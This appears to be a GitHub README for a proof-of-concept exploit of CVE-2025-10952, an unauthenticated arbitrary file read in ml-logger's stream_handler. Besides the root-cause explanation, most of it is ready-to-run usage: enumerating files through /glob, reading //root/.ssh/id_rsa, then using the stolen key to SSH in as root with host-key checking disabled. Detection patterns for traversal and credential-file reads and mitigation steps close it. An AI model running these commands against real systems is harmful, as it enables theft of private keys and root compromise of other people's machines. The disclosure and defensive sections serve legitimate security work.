khashayarnzk/cve-2025-10952-ml-logger-afrPoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
stream_handler Arbitrary File ReadThis repository provides a standalone Python script — CVE-2025-10952.py — that exploits an unauthenticated arbitrary file read vulnerability in ml-logger's stream_handler, chained with the /glob endpoint for filesystem enumeration.
When run against a vulnerable ml-logger instance, it will:
/glob endpoint (unauthenticated, no path restriction outside the intended scope)./stream endpoint by supplying a crafted key parameter that breaks out of the handler's base-path join logic.Because stream_handler passes the client-supplied key field directly into a file-path resolution and streaming call with no containment check, an unauthenticated network attacker can read any file accessible to the service's OS user.
ml_logger/server.py — stream_handler (File Handler)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (rolling-release project; no fixed version published at time of disclosure)stream_handler accepts a JSON body containing a key field and passes it directly into a file-read call with no path sanitization. The sibling glob_handler endpoint implements partial path restrictions (blocking absolute paths and traversal), but stream_handler does not share that validation — a doubled leading slash in key (e.g. //root/.ssh/id_rsa) is sufficient to break out of the intended base directory.
ml-logger API instancegit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
Enumerate files:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
Read an arbitrary file:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
Read and save to disk:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port defaults to 8081, the default port for ml-logger's file-broker API in a standard deployment. The dashboard frontend is typically served on a separate port and is not part of the vulnerable path.
/glob endpoint responds 405 Method Not Allowed with Allow: POST — this identifies the API port versus the static dashboard frontend.--glob to map interesting files (SSH keys, configs, credential stores).--read, using a doubled leading slash for absolute paths.key/path-style JSON fields containing .., doubled leading slashes (//), or absolute path prefixes (/etc, /root, /proc) directed at ml-logger service ports.~/.ssh/, /etc/shadow, /etc/passwd should flag reads originating from the ml-logger process identity.ml-logger to an untrusted network without an authenticating reverse proxy in front of it.os.path.realpath() resolution checked against an allow-listed base directory) in stream_handler; run the service under a dedicated, unprivileged OS account.This repository contains a proof-of-concept exploit for CVE-2025-10952, an unauthenticated information disclosure vulnerability in ml-logger. Use this code only in environments you own or have explicit authorization to test. The author is not responsible for any misuse or damage caused by this software.
See LICENSE.